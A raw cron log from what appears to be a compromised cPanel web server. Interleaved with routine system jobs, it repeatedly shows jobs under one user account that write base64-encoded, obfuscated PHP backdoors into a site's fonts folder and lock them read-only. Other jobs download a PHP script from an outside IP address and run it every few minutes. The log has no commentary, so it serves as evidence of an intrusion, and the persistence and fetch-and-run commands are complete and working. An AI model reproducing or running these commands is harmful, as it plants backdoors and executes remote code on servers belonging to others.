Sep  4 07:32:01 ip-184-168-122-23 CROND[15323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:32:01 ip-184-168-122-23 CROND[15325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:32:02 ip-184-168-122-23 CROND[15327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:32:02 ip-184-168-122-23 CROND[15328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:32:02 ip-184-168-122-23 CROND[15332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:33:01 ip-184-168-122-23 CROND[15431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:33:01 ip-184-168-122-23 CROND[15432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:33:01 ip-184-168-122-23 CROND[15434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:33:01 ip-184-168-122-23 CROND[15437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:34:01 ip-184-168-122-23 CROND[15536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:34:01 ip-184-168-122-23 CROND[15538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:34:02 ip-184-168-122-23 CROND[15540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:34:02 ip-184-168-122-23 CROND[15539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:34:02 ip-184-168-122-23 CROND[15541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:35:01 ip-184-168-122-23 CROND[15735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:35:01 ip-184-168-122-23 CROND[15737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:35:01 ip-184-168-122-23 CROND[15739]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 07:35:01 ip-184-168-122-23 CROND[15738]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 07:35:01 ip-184-168-122-23 CROND[15742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:35:01 ip-184-168-122-23 CROND[15743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:35:01 ip-184-168-122-23 CROND[15741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:35:01 ip-184-168-122-23 CROND[15744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:36:01 ip-184-168-122-23 CROND[15869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:36:01 ip-184-168-122-23 CROND[15872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:36:01 ip-184-168-122-23 CROND[15871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:36:01 ip-184-168-122-23 CROND[15874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:36:01 ip-184-168-122-23 CROND[15873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:37:01 ip-184-168-122-23 CROND[15971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:37:01 ip-184-168-122-23 CROND[15972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:37:01 ip-184-168-122-23 CROND[15974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:37:01 ip-184-168-122-23 CROND[15975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:38:01 ip-184-168-122-23 CROND[16057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:38:01 ip-184-168-122-23 CROND[16059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:38:01 ip-184-168-122-23 CROND[16061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:38:01 ip-184-168-122-23 CROND[16060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:38:01 ip-184-168-122-23 CROND[16062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:39:01 ip-184-168-122-23 CROND[16159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:39:01 ip-184-168-122-23 CROND[16161]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 07:39:01 ip-184-168-122-23 CROND[16163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:39:01 ip-184-168-122-23 CROND[16164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:39:01 ip-184-168-122-23 CROND[16162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:40:01 ip-184-168-122-23 CROND[16294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:40:01 ip-184-168-122-23 CROND[16295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:40:01 ip-184-168-122-23 CROND[16299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:40:01 ip-184-168-122-23 CROND[16303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:40:01 ip-184-168-122-23 CROND[16297]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:40:01 ip-184-168-122-23 CROND[16302]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:40:01 ip-184-168-122-23 CROND[16300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:40:01 ip-184-168-122-23 CROND[16301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:41:01 ip-184-168-122-23 CROND[16483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:41:01 ip-184-168-122-23 CROND[16485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:41:01 ip-184-168-122-23 CROND[16489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:41:01 ip-184-168-122-23 CROND[16490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:42:01 ip-184-168-122-23 CROND[16569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:42:01 ip-184-168-122-23 CROND[16571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:42:01 ip-184-168-122-23 CROND[16574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:42:01 ip-184-168-122-23 CROND[16573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:42:01 ip-184-168-122-23 CROND[16572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:43:01 ip-184-168-122-23 CROND[16752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:43:01 ip-184-168-122-23 CROND[16756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:43:01 ip-184-168-122-23 CROND[16755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:43:01 ip-184-168-122-23 CROND[16754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:44:01 ip-184-168-122-23 CROND[16829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
